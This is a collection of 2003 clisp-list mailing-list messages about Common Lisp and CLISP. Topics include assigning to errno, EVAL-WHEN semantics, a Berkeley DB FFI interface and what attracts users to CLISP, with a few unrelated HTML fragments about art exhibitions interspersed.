> #  if !defined _LIBC || defined _LIBC_REENTRANT
> /* When using threads, errno is a per-thread value.  */
> #   define errno (*__errno_location ())
> 
> Thus, printf("%d",errno); works.
> But such a #define does not work with errno=x;

why not?!

 (*foo()) = 10;

will write 10 into the memory area pointed to by the return value of
foo().

> BTW, in order not to have to revisit this area the day CLISP would
> have threads, linux:errno has to become a symbol-macro which expands
> to a FFI call. 
> (def-call-out __errno_location (:arguments) (:return-type (c-ptr int)))
> (define-symbol-macro errno (linux:__errno_location))
> But that does not support (setf linux:errno x).

se we should add a (setf linux:errno) macro or function.

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On Fri, 4 Apr 2003, Hoehle, Joerg-Cyril wrote:

> Hi,
> 
> could somebody with recent Linux/UNIX knowledge help me with the following:
> 
> is it legal to assign to errno?
> E.g. errno = 0; in C application code?

Yes. In fact, it is unavoidable in certain correct, portble programming
practices. Some ANSI C library functions indicate failure, and may set
errno. The only way to know whether they had any effect on errno is to
assign zero to it before, and then checking for a nonzero value after
failure in the function is detected.

ANSI C only defines the errors EDOM and ERANGE; so the above trick is
needed in conjunction with, for instance, <stdio.h> streams.

> Shall CLISP Linux FFI support assignment to errno?

In Meta-CVS, errno is a symbol macro that expands to (get-errno).
(setf (get-errno)) works via a set-errno function.  The accessors
get-errno and set-errno are foreign functions that do the work in C.

> /* When using threads, errno is a per-thread value.  */
> #   define errno (*__errno_location ())
> 
> Thus, printf("%d",errno); works.
> But such a #define does not work with errno=x;

Yes it does. It's deliberately designed that way.

  (*_errno_location()) = x; /* no problem */


you are dereferencing the pointer returned by the function to create an
lvalue (assignable place) that designates the location. It's like a
setf-able place in Lisp.



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Sam Steingold <sds@gnu.org> writes:

>> * In message <sq8yuqir35.fsf@lambda.jcn.srcf.net>
>> * On the subject of "Re: [clisp-list] Re: Current CVS observations"
>> * Sent on Fri, 04 Apr 2003 09:50:38 +0100
>> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>>
>> > (defvar *collector*)
>> > (let ((forms nil))
>> >   (dolist (c '(nil (:compile-toplevel)))
>> >     (dolist (l '(nil (:load-toplevel)))
>> >       (dolist (x '(nil (:execute)))
>> >         (push `(eval-when (,@c ,@l ,@x)
>> >                  (push '(,@c ,@l ,@x) *collector*))
>> >               forms))))
>> >   (dolist (c '(nil (:compile-toplevel)))
>> >     (dolist (l '(nil (:load-toplevel)))
>> >       (dolist (x '(nil (:execute)))
>> >         (push `(let () (eval-when (,@c ,@l ,@x)
>> >                          (push '(let ,@c ,@l ,@x) *collector*)))
>> >               forms))))
>> >   (with-open-file (o "eval-when-test.lisp" :direction :output
>> >                      :if-exists :supersede)
>> >     (dolist (f forms)
>> >       (prin1 f o)
>> >       (terpri o)))
>> >   (let ((*collector* nil))
>> >     (load "eval-when-test.lisp")
>> >     (print *collector*))
>> 
>> LOAD of source implies that the relevant top-level regime is :EXECUTE.
>> Therefore, for the EVAL-WHEN forms at toplevel, only those
>> combinations with :EXECUTE in the situations will be executed, so this
>> list starts with those toplevel forms with :EXECUTE.  For the
>> EVAL-WHEN forms not at top level, their execution on EVAL/LOAD is
>> again controlled by :EXECUTE, so again only those forms with :EXECUTE
>> in their situations will be executed, so the final list is:
>> 
>> ((:execute) 
>>  (:load-toplevel :execute) 
>>  (:compile-toplevel :execute)
>>  (:compile-toplevel :load-toplevel :execute)
>>  (let :execute)
>>  (let :load-toplevel :execute)
>>  (let :compile-toplevel :execute)
>>  (let :compile-toplevel :load-toplevel :execute))
>
> CMUCL:
>
>  ((:load-toplevel)
>   (:load-toplevel :execute)
>   (:compile-toplevel :load-toplevel)
>   (:compile-toplevel :load-toplevel :execute)
>   (let :execute)
>   (let :load-toplevel :execute)
>   (let :compile-toplevel :execute)
>   (let :compile-toplevel :load-toplevel :execute))
>
> either your analysis is incorrect, or CMUCL is faulty too.
>
>> >   (let ((*collector* nil))
>> >     (compile-file "eval-when-test.lisp")
>> >     (print *collector*))
>> 
>> ((:compile-toplevel)
>>  (:compile-toplevel :execute)
>>  (:compile-toplevel :load-toplevel)
>>  (:compile-toplevel :load-toplevel :execute))
>
> no contest.
>
>> >   (let ((*collector* nil))
>> >     (load (compile-file-pathname "eval-when-test.lisp"))
>> >     (print *collector*)))
>> 
>> ((:load-toplevel)
>>  (:load-toplevel :execute)
>>  (:compile-toplevel :load-toplevel)
>>  (:compile-toplevel :load-toplevel :execute)
>>  (let :execute)
>>  (let :load-toplevel :execute)
>>  (let :compile-toplevel :execute)
>>  (let :compile-toplevel :load-toplevel :execute))
>
> CMUCL & CLISP:
>
>  ((:execute)
>   (:load-toplevel :execute)
>   (:compile-toplevel :execute)
>   (:compile-toplevel :load-toplevel :execute)
>   (let :execute)
>   (let :load-toplevel :execute)
>   (let :compile-toplevel :execute)
>   (let :compile-toplevel :load-toplevel :execute)))
>
> is it possible that you are confusing :execute and :load-toplevel?

The printout I get from CMUCL, verbatim, from pasting in your code,
is:

; Loading #p"/usr/home/csr21/eval-when-test.lisp".

((:EXECUTE) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :EXECUTE)
 (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)
 (LET :EXECUTE
   )
 (LET :LOAD-TOPLEVEL
   :EXECUTE)
 (LET :COMPILE-TOPLEVEL
   :EXECUTE)
 (LET :COMPILE-TOPLEVEL
   :LOAD-TOPLEVEL

; Python version 1.0, VM version Intel x86 on 04 APR 03 05:21:58 pm.
; Compiling: /usr/home/csr21/eval-when-test.lisp 04 APR 03 05:21:58 pm

; Byte Compiling Top-Level Form: 
; Byte Compiling Top-Level Form: 

; eval-when-test.x86f written.
; Compilation finished in 0:00:00.
   :EXECUTE)) 
((:COMPILE-TOPLEVEL) (:COMPILE-TOPLEVEL :EXECUTE)
 (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) 
; Loading #p"/usr/home/csr21/eval-when-test.x86f".

((:LOAD-TOPLEVEL) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL)
 (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)
 (LET :EXECUTE
   )
 (LET :LOAD-TOPLEVEL
   :EXECUTE)
 (LET :COMPILE-TOPLEVEL
   :EXECUTE)
 (LET :COMPILE-TOPLEVEL
   :LOAD-TOPLEVEL
   :EXECUTE)) 
((:LOAD-TOPLEVEL) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL)
 (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)
 (LET :EXECUTE
   )
 (LET :LOAD-TOPLEVEL
   :EXECUTE)
 (LET :COMPILE-TOPLEVEL
   :EXECUTE)
 (LET :COMPILE-TOPLEVEL
   :LOAD-TOPLEVEL
   :EXECUTE))

It's a bit hard to read, I grant, but there are four separate lists
here.  The first, just below 
  ; Loading #p"/usr/home/csr21/eval-when-test.lisp".
corresponds to my "load of source" paragraph, and agrees with my
analysis. 

The second, corresponding to the compilation of the source, is
uncontroversial and agrees with my analysis.

The third and fourth are the same lists, once printed out by the
program and once as the return value from the program; again, the
presence of :LOAD-TOPLEVEL agrees with my analysis.  I don't
understand how you've got your results with CMUCL.  (for reference,
mine is 
  CMU Common Lisp release x86-linux 3.1.7 18d+ 18 January 2003 build 4523
as distributied by Debian Linux.

ACL's output is easier to read, as it happens; it says:

,---------------------
|; Loading /usr/home/csr21/eval-when-test.lisp
|
|((:EXECUTE) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :EXECUTE)
| (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE)
| (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE)
| (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) 
|;;; Compiling file eval-when-test.lisp
|;;; Writing fasl file eval-when-test.fasla16
|Warning: No IN-PACKAGE form seen in
|         /usr/home/csr21/eval-when-test.lisp.  (Allegro Presto will be
|         ineffective when loading a file having no IN-PACKAGE form.)
|;;; Fasl write complete
|
|((:COMPILE-TOPLEVEL) (:COMPILE-TOPLEVEL :EXECUTE)
| (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL)
| (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) 
|; Fast loading /usr/home/csr21/eval-when-test.fasla16
|
|((:LOAD-TOPLEVEL) (:LOAD-TOPLEVEL :EXECUTE)
| (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL)
| (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE)
| (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE)
| (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) 
'---------------------

where I have elided the fourth (return value) list.

Cheers,

Christophe
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I have a somewhat puzzling problem with CLISP 2.29 (installed using 
FINK) on Mac OSX.

My first test function (fact) gives a segmentation fault after about 
120 recursions. (fact 100) works, but (fact 120) gives a seg. fault.

I tried setting the memory limit higher to 200MB, but the problem 
remained. Even on the default 2 MB stack I am surprised that it would 
crash so quickly. Does anyone know the cause / solution of/to this 
problem.

Thanks,

Frank



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Date: Mon Apr  7 02:26:04 2003
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Hi everyone,

I've hit a bit of a stumbling block with some code I'm working on. I
have a file called "hello?.txt" (unix filesystem) that I'm trying to
open using (with-open-file ..), but I'm getting the following:

  [1]> (with-open-file (test "hello?" :direction :input))
  *** - wildcards are not allowed here: #P"hello?"

Is there some way to escape the '?' character that I'm missing? I've
been through the impnotes, and mined the archives of this list and c.l.l
but haven't had much luck turning up answers.

Relevant details:

  GNU CLISP 2.30 (released 2002-09-15) (built 3248584626) (memory
  3258512962) running Debian unstable.

  Features:
  (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-ANSI-COMMON-LISP CLX
  CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
  SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
  BASE-CHAR=CHARACTER SYSCALLS PC386 UNIX)

Thanks for reading, any help is greatly appreciated.

Mark

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Aurelio Bignoli wrote:
>with-c-var/cast
>   Real time: 1.273894 sec. (it was 1.494392)
>with-foreign-object/%cast
>   Real time: 0.521461 sec. (it was 0.638666)

This is strange, since the compiler macro using LOAD-TIME-VALUE is supposed to do exactly what I did by hand using %CAST directly. Therefore, one should not see any difference in speed (or slowness).

Likewise, WITH-C-VAR is just a compile-time macro (symbol-macrolet) atop with-foreign-object, and the macro usage should be compiled away. Therefore, it should not make a difference at run-time.


>my FFI code for Berkeley DB works fine with this new definition.

Sure, but knowing how it works one can easily defeat it
(e.g. using non-top-level DEF-C-TYPE and DEFUN in same scope).

Therefore, it cannot IMHO become part of standard CLISP. What's in foreign1.lisp must work in all cases for all FFI users, not only in simple situations.

In other words The LOAD-TIME-VALUE optimization is not conservative enough.

I welcome suggestions. Another approach may be to recursively traverse the c-type definiton at compile-time, computing whether the declaration is a simple one or not. If yes, inline it. That's the other side: a too conservative algorithm/optimization.

Regards,
	Jorg Hohle.


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Hi,

I've been thinking about adding a variant of the AFFI:MEM-READ and MEM-WRITE functions that I once put into my AFFI. They would help with some variable-length data.
They allow to read/write CLISP's specialized vectors.
See AFFI in your local impnotes or in:
http://clisp.cons.org/impnotes/affi.html

Pros:
+ Much current convoluted FFI code could become easier to read, write and interface to:
Instead of constructing variable-length type definitions at run-time
  (foreign-value (cast data `(C-ARRAY uint8 ,size)))
using MEM-READ, I'd have written (much like in Allegro):
  (let ((result (make-array size :element-type '(unsigned-byte 8))))
    (mem-read (foreign-address data) result))

+ Good enough (even much better than current FFI) for Aurelio's DB interface, zlib-compress and many more.

+ compared to FFI, no need for build+immediately destroy foreign-variable object and definition (->better performance).

+ never need to build&parse-C-type declaration at run-time (->performance).

Contra:
- By nature, MEM-READ/WRITE only operate on CLISP's specialised arrays.
That is (UNSIGNED-BYTE 8/16/32).
No SIGNED-BYTE arrays
No floating point arrays (somebody once asked for that).
- By nature, doesn't know about DEF-C-TYPE aliases.

I.e. they leave a feeling of "80% good enough", yet "not compatible with or stands in the way of 100% solution".


What's when the user wants to read an array of *signed* bytes?
(dotimes (i size)
    (setf (aref result i) (mem-read data 'sint8 i)))
looks less convincing than (FFI:OFFSET data `(c-array sint8 ,size)).

So what's the value of a limited function like MEM-READ?

The current FFI forms implement kind of 100% solutions: u/sint8/16/32/64 and even floating point.

So is it worth providing MEM-READ/VECTOR for FFI?

Regards,
	Jorg Hohle.


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Hi,

FFI has had :malloc-free allocation since ever. It would be unfortunate if it would not work with Berkely DB. Let's see.

Aurelio Bignoli wrote:
>I'm trying to interface Berkeley DB C API
>(http://www.sleepycat.com). It uses "Data Base Thangs" to read and
>write data to/from DB files:

I went to consult their doc and found:
http://www.sleepycat.com/docs/index.html
http://www.sleepycat.com/docs/api_java/c_index.html

(def-c-struct DBT
  (data c-string) ;; truly a polymorphic pointer type
  (size uint32)
  (ulen uint32) (dlen uint32) (doff uint32) (flags uint32))

One problem I see is that CLISP's FFI has :malloc-free allocation on a per parameter basis. Here it looks like one would wish for it on a per-pointer basis,e.g.
 (c-ptr :alloca
   DBT  :malloc-free)

So how can we mix that?
I'll talk about the 100% solution later. Here comes a solution that should work in current CLISP.

We're going to use DEF-C-VAR with :alloc :malloc-free. The variable itself will not be freed, yet some of its pointers may.

(def-c-var DBT-pool (:type (c-array DBT 10))
  (:name "DBT_pool") (:alloc :malloc-free))

Using (setf (slot (element DBT-pool 0) 'data) "foobar")
invokes malloc(). We can free() that memory using
(setf (slot (element DBT-pool pool-index) 'data) nil)

This can be used together with both Bekerley DB's free and realloc flags.

This yields to the following schema:
(def-call-out DB-get
  (:arguments (key c-pointer))
  (:return-type ...)
  (:language :stdc))

(defun get-as-string (pool-index)
  (prog1
      (values
       (DB-get (c-var-address (element DBT-pool pool-index)))
       ;;TODO error checking
       (slot (element DBT-pool pool-index) 'data))
    ;; setting to NIL frees memory
    (setf (slot (element DBT-pool pool-index) 'data) nil)))

We will use the fact that free() can be called on anything:
(get-using-c-type (pool-index c-type)
  (prog1
      (values
       (DB-get (c-var-address (element DBT-pool pool-index)))
       ;;TODO error checking
       ;;uhoh, run-time parse-c-type...
       (cast (slot (element DBT-pool pool-index) 'data) c-type))
    (setf (slot (element DBT-pool pool-index) 'data) nil)))
;(get-using-c-type 0 `(c-ptr (c-array uint ,size)))


On symbol-macros vs. foreign-variable objects

Here (slot (element- ...)) is recomputed each and multiple times. If we could use the underlying foreign-variable objects instead of the symbol macros, we could use memoization and other speed up techniques.
We'd keep a pool of 10 DBT represented as foreign-variable objects. We could keep a memoized set of foreign-variables, each corresponding to a specific data type, for each DBT.

That's also a value of making foreign-variable objects go public. Places are nice, however Lisp (and Smalltalk) programmers know how to manipulate objects.


On creating and using foreign-objects dynamically instead of the def-c-var trick
More on this another time. Time is running out on me.

Regards,
	Jorg Hohle.


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                2150&nbsp;ð.</span></td>
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            3750&nbsp;ð.</span></td>
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            3450&nbsp;ð.</span></td>
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<P><FONT face="Arial" size="2" color="#AE0000"><B>Fernand L&eacute;ger</B><br>
February 17, 2003-May 18, 2003, Mus&eacute;e d&eacute;partemental de la tapisserie, 
Aubusson<br>
<B>De C&eacute;zanne &agrave; Dubuffet : la collection Planque</B><br>
April 2, 2003-July 27, 2003, H&ocirc;tel de Ville, Paris<br>
<B>Modigliani and the artists of Montparnasse</B><br>
June 28, 2003-September 28, 2003, Los Angeles County Museum of Art </FONT>
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US$ 100 invested in a work of L&Eacute;GER, Fernand (1881-1955)<BR>
have an average value of US$ 188 in December 2002</FONT></P>
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<P><FONT face="Arial">His high turnover, regular retrospective shows and diverse output 
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Hoehle, Joerg-Cyril writes:
 > Aurelio Bignoli wrote:
 > >with-c-var/cast
 > >   Real time: 1.273894 sec. (it was 1.494392)
 > >with-foreign-object/%cast
 > >   Real time: 0.521461 sec. (it was 0.638666)
 > 
 > This is strange, since the compiler macro using LOAD-TIME-VALUE is
 > supposed to do exactly what I did by hand using %CAST
 > directly. Therefore, one should not see any difference in speed (or
 > slowness).

You are right. For my tests I used the following two functions:

(defun get-foreign-data-2 (data size type)
  (with-c-var (p 'c-pointer data)
    (cast p (cond
	     ((eq type 'integer) '(c-ptr int))
	     ((eq type 'string)
	      `(c-ptr (c-array character ,size)))
	     (t (multiple-value-bind (ft byte-size)
		    (foreign-element-type type)
		  `(c-ptr (c-array ,ft ,(/ size byte-size)))))))))

(defun get-foreign-data-3 (data size type)
  (declare (ignore size))
  (cond
   ((eq type 'integer)
    (with-foreign-object (p 'c-pointer data)
       (ffi::foreign-value
	(ffi::%cast p (load-time-value (ffi::parse-c-type '(c-ptr int)))))))
   ((eq type 'string) "")
   (t 0)))

In both cases the COND macro expands into 

(IF (EQ TYPE 'INTEGER)
  ...)

so, in my opinion, the execution time of the two functions should be
equivalent to the execution time of WITH-C-VAR or WITH-FOREIGN-OBJECT
plus the execution time of IF. I was wrong: the following, simpler functions:

(defun get-foreign-int-1 (data)
  (with-c-var (p 'c-pointer data)
    (cast p '(c-ptr int))))

(defun get-foreign-int-2 (data)
  (with-foreign-object (p 'c-pointer data)
       (ffi::foreign-value
	(ffi::%cast p (load-time-value (ffi::parse-c-type '(c-ptr int)))))))

have exactly the same execution time.


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Hoehle, Joerg-Cyril writes:

 > Using (setf (slot (element DBT-pool 0) 'data) "foobar")
 > invokes malloc(). We can free() that memory using
 > (setf (slot (element DBT-pool pool-index) 'data) nil)

really interesting! I wasn't aware of this feature.

 > On creating and using foreign-objects dynamically instead of the
 > def-c-var trick 

I used this approach. I wrote the following macro:

(defmacro with-dbt ((dbt value) &body body)
  (let ((val (gensym))
        (data (gensym ))
        (foreign-type-decl (gensym))
        (foreign-length (gensym)))
    `(let ((,val ,value)
           (,dbt (make-dbt :ulen 0 :dlen 0 :doff 0 :flags 0)))
       (multiple-value-bind (,foreign-type-decl ,foreign-length)
           (make-foreign-type-decl ,val)
         (with-c-var (,data  ,foreign-type-decl ,val)
            (setf (dbt-data ,dbt) (c-var-address ,data))
            (setf (dbt-size ,dbt) ,foreign-length)
            ,@body)))))

(in my definition of DBT, data is a c-pointer). Polymorphism is
managed by MAKE-FOREIGN-TYPE-DECL, a generic functions which dispatch
on the type of its argument:

(defmethod make-foreign-type-decl ((value integer))
  (typecase value
    (fixnum (values 'int sizeof-int))
    (otherwise (signal-db-error (format nil "Integer type ~A not supported"
                                        (type-of value))))))

(defmethod make-foreign-type-decl ((value string))
  (let ((l (length value)))
    (values `(c-array character ,l) l)))

etc.

I also wrote a thin C wrapper around DB functions, since it is almost
impossible to use DB structure and its function pointers from Lisp:

(def-c-type DB c-pointer)
(def-c-type DB-TXN c-pointer)

(def-call-out ffi-db-get
  (:name "db_get")
  (:arguments  (db DB :in) (txn DB-TXN :in) (key (c-ptr DBT) :in)
               (data (c-ptr DBT) :out) (flags uint32 :in))
  (:return-type int))

int 
db_get (DB *dbp, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags)
{
  int r;
  
  db_log (3, "db_get: dbp = %p, txnid = %p, key = %p, data = %p, "
          "flags = %u", dbp, txnid, key, data, flags);
  data->flags = DB_DBT_MALLOC;
  r = dbp->get (dbp, txnid, key, data, flags);
  dbFuncLog (db->get, r);
  return r;
}

My Lisp version of DB->get:

(defun db-get (key &key (db *default-db*) (txn *default-txn*) (flags 0) 
                   (data-type '(unsigned-byte 8)))
  "Retrieves key/data pairs from database."
  (if (valid-data-type-p data-type)
    (with-dbt (key-dbt key)
      (multiple-value-bind (r data)
          (ffi-db-get (foreign-object-address db) (foreign-object-address txn)
                      key-dbt flags)
        (unwind-protect
            (cond
             ;; Success, key found.
             ((= r 0) (values r
                              (get-foreign-data (dbt-data data)
                                                (dbt-size data) data-type)))
             ;; Success, key not found.
             ((not-found-error-p r)  (values r nil))
             ;; Error.
             (t (signal-db-error "db-get" r)))
          ;; Free DBT data.
          (linux:free (dbt-data data)))))
    (signal-db-error (format nil "Invalid data type: ~A" data-type))))

IMHO, this solution is quite simple and intuitive. Probably
performances can be improved, but for my needs they are accetable.


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Hi,

Aurelio Bignoli wrote:
> > Using (setf (slot (element DBT-pool 0) 'data) "foobar")
> > invokes malloc(). We can free() that memory using
> > (setf (slot (element DBT-pool pool-index) 'data) nil)
Furthermore, if you (setf (slot ...) "bar") the previous contents are free()'d (if not NULL), and a new string is malloc()'ed and installed.
That's useful for DB->put()

But note that this does not work for C-POINTER. Only the pointer types mentioned in impnotes.html on def-c-var (i.e. those for which a conversion Lisp<->C actually occurs).

>I also wrote a thin C wrapper around DB functions, since it is almost
Do you believe you would have written a CLISP module if you had known about my article earlier?
One of my points is that writing FFI+C code is half the way of a writing module, *and* writing modules prevents you from the CAST/TYPECASE madness.
OTOH, you need to be more confident with CLISP's C-level functions, e.g. allocate_string() etc.


>impossible to use DB structure and its function pointers from Lisp:
I guess one of your points is that the functions to be called are like db->get(), i.e. there's nothing with a fixed name like "BDB_get()". This looks like instance methods -- not impossible, but possibly impractical.
I never thought about these, but they are conceptually close to shared-library functions: they hang of the library, here the DB pointer.

Is there anything else which makes you feel that it's impossible?


>IMHO, this solution is quite simple and intuitive. Probably
Yes, it seems straightforwand and it looks like it's easier to port to other Lisps than if you had written a CLISP module and interfaced to CLISP's C-level functions.

Again, if you now know about my article on modules, would writing a module seem as straightforward to you now as your current approach?

>performances can be improved, but for my needs they are accetable.
Yes. One way would be to move even more stuff to the portable C wrappers. It may not become much larger or complex from doing so.

>  (typecase value
>    (fixnum (values 'int sizeof-int))
Why don't you use something along
 (typecase
  ((unsigned-int 32)
   (values 'int/uint32 (FFI:sizeof 'int-or-uint32))
  ((signed-int 32) (values 'sint32 (sizeof 'sint32))
  ... Constant-folding by hand?
Fixnum can be pretty small (i.e. only 24 bits).


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Hi,

Berkeley DB's C-level interface uses DB->get(...) instead of a fixed function like DB_get(...)
How could one interface to this? A possible way is explored here.

			On instance methods
One could use
(def-c-struct DB
  (get (c-function (:arguments ...) ...))
  (put (c-function ...))
  ...many others function slots)
to have CLISP create callable foreign-function objects that match C's DB->put().

(def-call-out db-create ; which you already must have
  (:arguments (DB (c-ptr c-pointer) :out)
              ...))
Then
(funcall
  (slot 'get ; create foreign-function object out of DB->get slot
   (foreign-value
    (foreign-address-variable ; which nobody has but me
     ; - much like cast: foreign-address -> foreign-variable
     (nth-value 1 (db-create ...)) ; that DB pointer
     'DB)))
  db-txn key data flags)
One should memoize the foreign-function object, instead of creating a new one for each call.

However, duplicating the DB structure in Lisp, if the BDB C structure changes, Lisp doesn't know -- not nice!  Unreliable :(

A wrapper around the latter remembers me of typical OO frameworks for Scheme, where you pass the function name as argument (to a closure, which does the dispatch):
(DB-invoke 'get DB-handle ...args) or
(DB-invoke DB-handle 'get ...args)

In CL/CLOS, people tend to prefer
(DB-get DB-handle ...args)
(DB-put DB-handle ...args)

It could still be defined as:
(defmethod DB-get ((DB-handle DB-class) &rest args)
  (apply (memoizing-DB-foreign-function-factory DB-handle 'get) args))
Of course, DB-get could be turned into reader slots of the DB-class CLOS miror -- use slots for presumably often used functions like get and put.

[memoizing-]DB-foreign-function-factory could be implemented in C, to avoid the problem about the C DB struct being changed by the BDB people, without Lisp noticing this change. This would prevent getting out of sync with BDB/
db.h

Regards,
	Jorg Hohle.


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Hi,

I'm wondering what attracts people to CLISP. Maybe developers could =
then concentrate efforts on these distinguishing areas.

My likes:
+ small size (both disk & run-time)
+ works on many many platforms (many unixes)
+ portability stresser, e.g. any place which might cause an error =
actually signals an error (except declarations :-) at run-time
+ robustness -- for years, I had no single crash using Amiga-CLISP =
which I could not trace down to a bug in gcc(!) or in CLISP, which got =
fixed soon. Very few crashes in total. This generates warm feelings for =
every Amiga user. These days however, CLISP sadly has a few known =
GC-triggered bugs somewhere in its code, seemingly hard to nail down.
+ ...?

~ perhaps UNICODE, but Allegro seems to have the reputation of The Lisp =
with excellent unicode support

~ perhaps speed?
This came out as a surprise to me yesterday, but my Logfile-analysis =
application works faster in CLISP than in Corman Lisp (which compiles =
to native code), even without my recent FAST-VECTOR-POSITION =
accelerator hack!
So far, it's not a fair comparison: I spent days analysing where =
slowness occurred in CLISP (e.g. certain calls to parse-integer), and =
just compiled the thing in CormanLisp, without any optimization =
settings. More on this another time.


I don't believe people are attracted by:
- FFI (too restrictive in the past, but with some jewels, esp. the very =
expressive def-call-out)
My bet is people just want the interface stuff to work, so that they =
can concentrate on the application instead.

- CLOS/MOP
Several people (e.g. Tim Bradshaw) were turned away by CLISP's CLOS =
missing MOP features or other restrictions in CLISP's implementation of =
CLOS.
I once suggested that CLISP might contain FAQ/documentation entries on =
how PCL can be used instead of its builtin-closs. Each CLISP release =
could ensure that it still runs with the latest PCL. Then people in =
havy needs of a full CLOS/MOP could use that, like I believe CMUCL =
does.
FWIW, CLISP's CLOS once was PCL, before it got replaced by a more =
efficient but more restricted builtin-version of its own.
I cannot propose to do that, since I don't have any need for CLOS+MOP.

- inspector/debugger/stepper, yet Corman's seems even less powerfull =
(more lacking?) than CLISP's (grain of salt here, I have only been =
using CormanLisp for 2 days)

- GUI - no McClim, no cello, don't know about garnet, ...
What are CLISP-users using here?

- ...?

I also received feedback by some people who considered CLISP much =
easier on the beginner than e.g. CMUCL. I fail to understand this, but =
maybe this is something to concentrate upon: first impressions count a =
lot. Many SW-packages get tossed away within half an hour of toying =
with them.
Maybe CMUCL beginners get turned away by the warnings about special =
declarations they dont' understand when they use (setq x 123) at =
top-level, which beginners tend to do a lot? -- but this is just a =
supposition of mine.

Your suggestions/ideas are welcome,
	J=F6rg H=F6hle.


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Hi,

Firstly, let me just thank you for being able to announce another
milestone in the ability of clisp to act as host Lisp for SBCL's
build.  Compilation of the 289 files now proceeds to completion,
before the linking ("genesis") phase dies shortly after startup with
an error that I don't yet understand.

To get this far, I had to turn off complex uses of the pretty printer,
I'm afraid; it's all too easy to trigger assertion errors or crash the
system (and I haven't yet had any luck in distilling this to a small
test case, more's the pity).  Apart from fixing some portability
issues in sbcl's code base, there was one other major problem that I
think is an issue in CLISP; I've worked around it for now, but you
should know about it.

At the toplevel, do
  (defstruct foo a)
  (defmethod make-load-form ((x foo) &optional env)
    (make-load-form-saving-slots x :environment env))
and put in a file, say foo.lisp:
  (defvar *foo* '#S(FOO :A BAR))

Compile and load the file, and observe that *FOO* is correctly
initialized to a FOO structure whose A slot contains the symbol BAR.
So far, so good.  Now, again at the toplevel, continuing the session,
do:
  (makunbound '*foo*)
  (defconstant bar 1)
and recompile and reload foo.lisp.  Now I observe that *FOO* is bound
to #S(FOO :A 1) and not to #S(FOO :A BAR), which I believe is
incorrect behaviour.

Cheers,

Christophe
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On Thursday, Apr 10, 2003, at 05:15 US/Eastern, Hoehle, Joerg-Cyril 
indited:

> I'm wondering what attracts people to CLISP. Maybe developers could 
> then concentrate efforts on these distinguishing areas.

Portability is a big one, Linux (PPC, x86), MacOS/X, etc.

> ~ perhaps UNICODE, but Allegro seems to have the reputation of The 
> Lisp with excellent unicode support

Unicode would be a big win. Its hard to imagine taking an application 
international without it.

> My bet is people just want the interface stuff to work, so that they 
> can concentrate on the application instead.

Yup. Haven't bothered yet (want too keep cross platform stuff really 
cross platform without porting FFI related Hooey.

> - CLOS/MOP
> Several people (e.g. Tim Bradshaw) were turned away by CLISP's CLOS 
> missing MOP features or other restrictions in CLISP's implementation 
> of CLOS.

So far hasn't been an issue, but at least CLISP will be good enough for 
first pass, proof of concept.

> I cannot propose to do that, since I don't have any need for CLOS+MOP.

Me neither at the moment.

> - GUI - no McClim, no cello, don't know about garnet, ...
> What are CLISP-users using here?

Nothing as of yet. Would like to somehow get Hemlock there, but not so 
badly (yet) to do it myself. Problem is that with extreme portability 
its hard to do much "nice" and I'm personally not willing to make it 
harder to port to get a GUI.

> Your suggestions/ideas are welcome,

Thanks. I've only been using CLISP for a few weeks, but I like that I 
can use the same thing everywhere (OK, I couldn't build 2.30 on Mac 
OS/X myself, but I haven't tried the latest tree ;-) I'm getting use 
from 2.29 ).

-D'gou



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--- "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> wrote:

> I don't believe people are attracted by:
>
> - GUI - no McClim, no cello, don't know about garnet, ...
> What are CLISP-users using here?

Garnet actually runs quite well on Clisp on Linux, but it is not yet
truly cross platform and is never likely to be cross platform on nearly
as many platforms as Clisp itself is.  It might attract more users if
it's look were a little more "modern" but it doesn't work with CLOS
without writing a glue layer between the garnet object system and CLOS
itself.

Essentially, there are very few native lisp GUI apps being written
currently.  Hopefully this situation will improve someday.

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Hoehle, Joerg-Cyril wrote:

>Hi,
>
>I'm wondering what attracts people to CLISP. Maybe developers could then concentrate efforts on these distinguishing areas.
>  
>
What initially attracted me is the fact that you can build it on your 
own. When i first got involved with lisp, cmucl wouldn't build without 
already having a binary installed, SBCL was unusable, and i had a hard 
time getting gcl to compile.

-Scott

>  
>



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Hoehle, Joerg-Cyril writes:
> Hi,
>=20
> I'm wondering what attracts people to CLISP. Maybe developers could
> then concentrate efforts on these distinguishing areas.
>=20
> My likes:
> + small size (both disk & run-time)
> + works on many many platforms (many unixes)
> + portability stresser, e.g. any place which might cause an error
> actually signals an error (except declarations :-) at run-time
> + robustness -- for years, I had no single crash using Amiga-CLISP
> which I could not trace down to a bug in gcc(!) or in CLISP, which
> got fixed soon. Very few crashes in total. This generates warm
> feelings for every Amiga user. These days however, CLISP sadly has a
> few known GC-triggered bugs somewhere in its code, seemingly hard to
> nail down.

Yes all this.

> [...]
